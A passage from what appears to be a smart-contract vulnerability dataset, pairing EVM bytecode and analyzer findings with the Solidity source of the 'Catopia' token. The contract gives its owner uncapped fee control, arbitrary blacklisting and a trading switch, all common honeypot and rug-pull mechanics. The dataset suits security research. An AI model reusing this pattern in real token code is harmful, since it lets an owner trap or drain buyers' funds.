5050611a3c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b611a8e81600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0690919063ffffffff16565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ae681601754611d0690919063ffffffff16565b601781905550611b0033600d61213f90919063ffffffff16565b611b5e57611b1833600d6121b490919063ffffffff16565b5042601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b600f6020528060005260406000206000915090505481565b600a5481565b60045481565b600c5481565b60035481565b600b5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bf057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c2a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60116020528060005260406000206000915090505481565b60055481565b600080828401905083811015611d1857fe5b8091505092915050565b600082821115611d2e57fe5b818303905092915050565b6000611d4883600001836121e4565b60001c905092915050565b60006017541415611d6357611dde565b611da0611d8f601754611d81601854856120f790919063ffffffff16565b61212690919063ffffffff16565b601654611d0690919063ffffffff16565b6016819055507f497e6c34cb46390a801e970e8c72fd87aa7fded87c9b77cdac588f235904a825816040518082815260200191505060405180910390a15b50565b6000611dec8261166f565b9050600081111561206957600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611ea057600080fd5b505af1158015611eb4573d6000803e3d6000fd5b505050506040513d6020811015611eca57600080fd5b8101908080519060200190929190505050611f4d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b611f9f81601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0690919063ffffffff16565b601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff781600c54611d0690919063ffffffff16565b600c819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601654601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000808284029050600084148061211657508284828161211357fe5b04145b61211c57fe5b8091505092915050565b60008082848161213257fe5b0490508091505092915050565b6000612167836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612267565b905092915050565b6000612197836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61228a565b905092915050565b60006121ad82600001612372565b9050919050565b60006121dc836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612383565b905092915050565b600081836000018054905011612245576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806123f46022913960400191505060405180910390fd5b82600001828154811061225457fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461236657600060018203905060006001866000018054905003905060008660000182815481106122d557fe5b90600052602060002001549050808760000184815481106122f257fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061232a57fe5b6001900381819060005260206000200160009055905586600101600087815260200190815260200160002060009055600194505050505061236c565b60009150505b92915050565b600081600001805490509050919050565b600061238f8383612267565b6123e85782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506123ed565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473a264697066735822122026eaa4ed739e0608525980a451f26ec890e81991c0c5723999909356cd19fabe64736f6c634300060b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 328 |
0x18a057ac40977c97efc52cb97b88abc91b9fd23c | /**
*Submitted for verification at Etherscan.io on 2022-03-16
*/
/**
https://t.me/Catopiatoken
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CATOPIA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Catopia";//
string private constant _symbol = "CATOPIA";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 2;//
uint256 private _taxFeeOnBuy = 10;//
//Sell Fee
uint256 private _redisFeeOnSell = 4;//
uint256 private _taxFeeOnSell = 20;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x9751CA809A4f8b63C44f7b89ec184943812AdF01);//
address payable private _marketingAddress = payable(0x9751CA809A4f8b63C44f7b89ec184943812AdF01);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 20000000000 * 10**9; //
uint256 public _maxWalletSize = 50000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 15000000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe91906130ca565b610702565b005b34801561021157600080fd5b5061021a610852565b6040516102279190613513565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190613036565b61088f565b60405161026491906134dd565b60405180910390f35b34801561027957600080fd5b506102826108ad565b60405161028f91906134f8565b60405180910390f35b3480156102a457600080fd5b506102ad6108d3565b6040516102ba91906136f5565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612fe7565b6108e4565b6040516102f791906134dd565b60405180910390f35b34801561030c57600080fd5b506103156109bd565b60405161032291906136f5565b60405180910390f35b34801561033757600080fd5b506103406109c3565b60405161034d919061376a565b60405180910390f35b34801561036257600080fd5b5061036b6109cc565b60405161037891906134c2565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612f59565b6109f2565b005b3480156103b657600080fd5b506103d160048036038101906103cc919061310b565b610ae2565b005b3480156103df57600080fd5b506103e8610b93565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612f59565b610c64565b60405161041e91906136f5565b60405180910390f35b34801561043357600080fd5b5061043c610cb5565b005b34801561044a57600080fd5b5061046560048036038101906104609190613134565b610e08565b005b34801561047357600080fd5b5061047c610ea7565b60405161048991906136f5565b60405180910390f35b34801561049e57600080fd5b506104a7610ead565b6040516104b491906134c2565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df919061310b565b610ed6565b005b3480156104f257600080fd5b506104fb610f8f565b60405161050891906136f5565b60405180910390f35b34801561051d57600080fd5b50610526610f95565b6040516105339190613513565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e9190613134565b610fd2565b005b34801561057157600080fd5b5061058c6004803603810190610587919061315d565b611071565b005b34801561059a57600080fd5b506105b560048036038101906105b09190613036565b611128565b6040516105c291906134dd565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612f59565b611146565b6040516105ff91906134dd565b60405180910390f35b34801561061457600080fd5b5061061d611166565b005b34801561062b57600080fd5b5061064660048036038101906106419190613072565b61123f565b005b34801561065457600080fd5b5061065d61139f565b60405161066a91906136f5565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612fab565b6113a5565b6040516106a791906136f5565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d29190613134565b61142c565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612f59565b6114cb565b005b61070a61168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e90613655565b60405180910390fd5b60005b815181101561084e576001601160008484815181106107e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061084690613a2f565b91505061079a565b5050565b60606040518060400160405280600781526020017f4361746f70696100000000000000000000000000000000000000000000000000815250905090565b60006108a361089c61168d565b8484611695565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108f1848484611860565b6109b2846108fd61168d565b6109ad85604051806060016040528060288152602001613f3c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061096361168d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122349092919063ffffffff16565b611695565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109fa61168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7e90613655565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610aea61168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6e90613655565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd461168d565b73ffffffffffffffffffffffffffffffffffffffff161480610c4a5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c3261168d565b73ffffffffffffffffffffffffffffffffffffffff16145b610c5357600080fd5b6000479050610c6181612298565b50565b6000610cae600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612393565b9050919050565b610cbd61168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4190613655565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e1061168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9490613655565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ede61168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6290613655565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600781526020017f4341544f50494100000000000000000000000000000000000000000000000000815250905090565b610fda61168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105e90613655565b60405180910390fd5b8060198190555050565b61107961168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611106576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fd90613655565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061113c61113561168d565b8484611860565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a761168d565b73ffffffffffffffffffffffffffffffffffffffff16148061121d5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120561168d565b73ffffffffffffffffffffffffffffffffffffffff16145b61122657600080fd5b600061123130610c64565b905061123c81612401565b50565b61124761168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cb90613655565b60405180910390fd5b60005b83839050811015611399578160056000868685818110611320577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906113359190612f59565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061139190613a2f565b9150506112d7565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61143461168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b890613655565b60405180910390fd5b8060188190555050565b6114d361168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790613655565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c7906135b5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611705576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fc906136d5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176c906135d5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161185391906136f5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c790613695565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611940576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193790613535565b60405180910390fd5b60008111611983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197a90613675565b60405180910390fd5b61198b610ead565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119f957506119c9610ead565b73ffffffffffffffffffffffffff